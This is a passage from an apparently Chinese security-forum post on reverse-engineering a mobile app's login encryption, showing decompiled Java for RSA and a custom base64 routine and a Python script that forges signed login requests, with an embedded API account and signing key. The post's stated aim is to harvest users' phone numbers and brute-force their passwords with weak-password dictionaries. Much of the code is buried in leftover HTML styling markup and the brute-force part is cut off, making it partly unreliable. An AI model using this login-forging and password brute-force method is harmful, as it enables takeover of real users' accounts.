Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> stringBuffer.toString().getBytes(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"iso8859-1"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
    3. </span></code></span></code></pre>
    复制代码

  • RSA加密
    1. Cipher cipher = Cipher.getInstance("RSA");
    2.             cipher.init(1, publicKey);
    3.             return cipher.doFinal(bArr);
    复制代码

  • 使用此函数处理加密后的结果

  1. public static String a(byte[] bArr) {
  2.         StringBuffer stringBuffer = new StringBuffer();
  3.         int length = bArr.length;
  4.         int i2 = 0;
  5.         while (true) {
  6.             if (i2 >= length) {
  7.                 break;
  8.             }
  9.             int i3 = i2 + 1;
  10.             int i4 = bArr[i2] & 255;
  11.             if (i3 == length) {
  12.                 stringBuffer.append(f16022a[i4 >>> 2]);
  13.                 stringBuffer.append(f16022a[(i4 & 3) << 4]);
  14.                 stringBuffer.append("==");
  15.                 break;
  16.             }
  17.             int i5 = i3 + 1;
  18.             int i6 = bArr[i3] & 255;
  19.             if (i5 == length) {
  20.                 stringBuffer.append(f16022a[i4 >>> 2]);
  21.                 stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
  22.                 stringBuffer.append(f16022a[(i6 & 15) << 2]);
  23.                 stringBuffer.append("=");
  24.                 break;
  25.             }
  26.             int i7 = i5 + 1;
  27.             int i8 = bArr[i5] & 255;
  28.             stringBuffer.append(f16022a[i4 >>> 2]);
  29.             stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
  30.             stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);
  31.             stringBuffer.append(f16022a[i8 & 63]);
  32.             i2 = i7;
  33.         }
  34.         return stringBuffer.toString();
  35.     }
复制代码



编写python脚本

  1. <div><section class="code-snippet__fix code-snippet__js" style="margin-top: 10px; margin-bottom: 10px; outline: 0px; max-width: 1000%; color: rgb(51, 51, 51); position: relative; background-color: rgba(0, 0, 0, 0.03); border: 1px solid rgb(240, 240, 240); border-radius: 2px; display: flex; line-height: 26px; font-family: system-ui, -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif; letter-spacing: 0.544px; text-align: justify; box-sizing: border-box !important;"><ul class="code-snippet__line-index code-snippet__js" style="padding: 1em; outline: 0px; max-width: 1000%; counter-reset: line 0; flex-shrink: 0; height: 522px; list-style-type: none; box-sizing: border-box !important;"><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li><li style="margin-left: 0px; outline: 0px; max-width: 1000%; list-style-type: none; text-align: right; box-sizing: border-box !important;"></li></ul><pre class="code-snippet__js" data-lang="python" style="padding-top: 1em; padding-right: 1em; padding-bottom: 1em; outline: 0px; max-width: 1000%; overflow-x: auto; white-space: normal; flex: 1 1 0%; box-sizing: border-box !important;"><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;"><span class="code-snippet__function" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;"><span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">def</span> <span class="code-snippet__title" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">main</span><span class="code-snippet__params" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">(phone,password)</span>:</span></span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    url = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"https://xx.com/loginUser"</span></span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    sign = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">""</span></span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    enc = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">""</span></span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    tmtp = str(int(time.time() * <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1000</span>))</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
  2. </span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    salt = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"1234567890"</span>  <span class="code-snippet__comment" style="outline: 0px; max-width: 1000%; color: rgb(175, 175, 175); font-style: italic; box-sizing: border-box !important;"># 随机生成的10个数字</span></span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    enc_ori = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"password="</span> + password + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"&salt="</span> + salt</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    enc = gen_enc(enc_ori)</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
  3. </span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    sign_ori = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc='</span> + enc + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">'&phone='</span> + phone+<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">'&timestamp='</span> + tmtp + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">'&key=a0f723c011346j39w049d7bf0356b34b'</span></span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
  4. </span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    sign = gen_sign(sign_ori)</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    print(quote_plus(enc))</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
  5. </span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    data = <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="</span>+phone+<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"&sign="</span> + sign + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"&enc="</span> + quote_plus(enc) + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"&timestamp="</span> + tmtp</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
  6. </span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    res = requests.post(url=url, data=data)</span></code><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    print(res.text)</span><div>
  7. </div></code></pre></section></div>
复制代码


加字典爆破

  1. <blockquote>def main(phone, password):
复制代码

总结
  • 前期目标APP资产
  • 收集用户手机号信息
  • 生成弱口令字典
  • 对目标进行爆破



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-10-5 23:09 , Processed in 0.020034 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表